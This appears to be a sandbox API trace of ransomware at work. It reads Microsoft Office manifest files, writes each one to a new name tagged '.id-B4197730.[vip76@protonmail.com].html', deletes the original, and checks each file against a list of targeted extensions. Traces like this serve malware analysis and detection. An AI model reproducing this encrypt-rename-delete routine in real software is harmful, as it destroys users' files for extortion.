	[0068.540] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53
	[0068.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.540] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1
	[0068.540] CloseHandle (hObject=0x338) returned 1
	[0068.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0068.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.540] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.541] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.541] GetLastError () returned 0x0
	[0068.541] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0068.575] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0068.576] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.576] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.576] SetEndOfFile (hFile=0x364) returned 1
	[0068.577] CloseHandle (hObject=0x364) returned 1
	[0068.577] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.577] SetEndOfFile (hFile=0x338) returned 1
	[0068.578] CloseHandle (hObject=0x338) returned 1
	[0068.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1
	[0068.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.579] lstrlenW (lpString=".doc") returned 4
	[0068.579] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.579] lstrlenW (lpString=".docx") returned 5
	[0068.579] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.579] lstrlenW (lpString=".pdf") returned 4
	[0068.579] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.579] lstrlenW (lpString=".xls") returned 4
	[0068.579] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.579] lstrlenW (lpString=".xlsx") returned 5
	[0068.579] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.579] lstrlenW (lpString=".ppt") returned 4
	[0068.579] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.579] lstrlenW (lpString=".zip") returned 4
	[0068.579] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.580] lstrlenW (lpString=".rar") returned 4
	[0068.580] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.580] lstrlenW (lpString=".bz2") returned 4
	[0068.580] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.580] lstrlenW (lpString=".7z") returned 3
	[0068.580] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.580] lstrlenW (lpString=".dbf") returned 4
	[0068.580] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.580] lstrlenW (lpString=".1cd") returned 4
	[0068.580] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.580] lstrlenW (lpString=".jpg") returned 4
	[0068.580] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.580] lstrlenW (lpString=".doc") returned 4
	[0068.580] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.580] lstrlenW (lpString=".docx") returned 5
	[0068.580] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.580] lstrlenW (lpString=".pdf") returned 4
	[0068.580] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.580] lstrlenW (lpString=".xls") returned 4
	[0068.580] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.580] lstrlenW (lpString=".xlsx") returned 5
	[0068.580] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.580] lstrlenW (lpString=".ppt") returned 4
	[0068.580] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.580] lstrlenW (lpString=".zip") returned 4
	[0068.581] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.581] lstrlenW (lpString=".rar") returned 4
	[0068.581] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.581] lstrlenW (lpString=".bz2") returned 4
	[0068.581] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.581] lstrlenW (lpString=".7z") returned 3
	[0068.581] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.581] lstrlenW (lpString=".dbf") returned 4
	[0068.581] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.581] lstrlenW (lpString=".1cd") returned 4
	[0068.581] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.581] lstrlenW (lpString=".jpg") returned 4
	[0068.581] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.581] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.581] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53
	[0068.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.581] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1
	[0068.581] CloseHandle (hObject=0x338) returned 1
	[0068.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0068.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.582] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.582] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.582] GetLastError () returned 0x0
	[0068.582] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0068.589] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0068.590] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.590] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.590] SetEndOfFile (hFile=0x364) returned 1
	[0068.590] CloseHandle (hObject=0x364) returned 1
	[0068.591] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.591] SetEndOfFile (hFile=0x338) returned 1
	[0068.592] CloseHandle (hObject=0x338) returned 1
	[0068.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1
	[0068.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.593] lstrlenW (lpString=".doc") returned 4
	[0068.593] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.593] lstrlenW (lpString=".docx") returned 5
	[0068.593] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.593] lstrlenW (lpString=".pdf") returned 4
	[0068.593] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.593] lstrlenW (lpString=".xls") returned 4
	[0068.593] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.593] lstrlenW (lpString=".xlsx") returned 5
	[0068.593] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.593] lstrlenW (lpString=".ppt") returned 4
	[0068.593] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.593] lstrlenW (lpString=".zip") returned 4
	[0068.593] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.593] lstrlenW (lpString=".rar") returned 4
	[0068.593] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.594] lstrlenW (lpString=".bz2") returned 4
	[0068.594] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.594] lstrlenW (lpString=".7z") returned 3
	[0068.594] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.594] lstrlenW (lpString=".dbf") returned 4
	[0068.594] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.594] lstrlenW (lpString=".1cd") returned 4
	[0068.594] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.594] lstrlenW (lpString=".jpg") returned 4
	[0068.594] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.594] lstrlenW (lpString=".doc") returned 4
	[0068.594] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.594] lstrlenW (lpString=".docx") returned 5
	[0068.594] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.594] lstrlenW (lpString=".pdf") returned 4
	[0068.594] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.594] lstrlenW (lpString=".xls") returned 4
	[0068.594] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.594] lstrlenW (lpString=".xlsx") returned 5
	[0068.594] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.594] lstrlenW (lpString=".ppt") returned 4
	[0068.594] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.594] lstrlenW (lpString=".zip") returned 4
	[0068.594] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.594] lstrlenW (lpString=".rar") returned 4
	[0068.594] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.595] lstrlenW (lpString=".bz2") returned 4
	[0068.595] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.595] lstrlenW (lpString=".7z") returned 3
	[0068.595] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.595] lstrlenW (lpString=".dbf") returned 4
	[0068.595] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.595] lstrlenW (lpString=".1cd") returned 4
	[0068.595] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0068.595] lstrlenW (lpString=".jpg") returned 4
	[0068.595] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.068] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0069.069] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53
	[0069.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.069] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3375) returned 1
	[0069.069] CloseHandle (hObject=0x334) returned 1
	[0069.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0069.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.069] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.069] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.070] GetLastError () returned 0x0
	[0069.070] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xd2f, lpOverlapped=0x0) returned 1
	[0069.132] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xd30, lpOverlapped=0x0) returned 1
	[0069.133] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.133] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0069.133] SetEndOfFile (hFile=0x380) returned 1
	[0069.133] CloseHandle (hObject=0x380) returned 1
	[0069.134] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.134] SetEndOfFile (hFile=0x334) returned 1
	[0069.135] CloseHandle (hObject=0x334) returned 1
	[0069.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1
	[0069.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.135] lstrlenW (lpString=".doc") returned 4
	[0069.135] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.135] lstrlenW (lpString=".docx") returned 5
	[0069.135] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0069.135] lstrlenW (lpString=".pdf") returned 4
	[0069.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.136] lstrlenW (lpString=".xls") returned 4
	[0069.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.136] lstrlenW (lpString=".xlsx") returned 5
	[0069.136] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0069.136] lstrlenW (lpString=".ppt") returned 4
	[0069.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.136] lstrlenW (lpString=".zip") returned 4
	[0069.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.136] lstrlenW (lpString=".rar") returned 4
	[0069.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.136] lstrlenW (lpString=".bz2") returned 4
	[0069.136] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.136] lstrlenW (lpString=".7z") returned 3
	[0069.136] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.136] lstrlenW (lpString=".dbf") returned 4
	[0069.136] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.136] lstrlenW (lpString=".1cd") returned 4
	[0069.136] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.136] lstrlenW (lpString=".jpg") returned 4
	[0069.136] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.136] lstrlenW (lpString=".doc") returned 4
	[0069.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.136] lstrlenW (lpString=".docx") returned 5
	[0069.136] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0069.137] lstrlenW (lpString=".pdf") returned 4
	[0069.137] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.137] lstrlenW (lpString=".xls") returned 4
	[0069.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.137] lstrlenW (lpString=".xlsx") returned 5
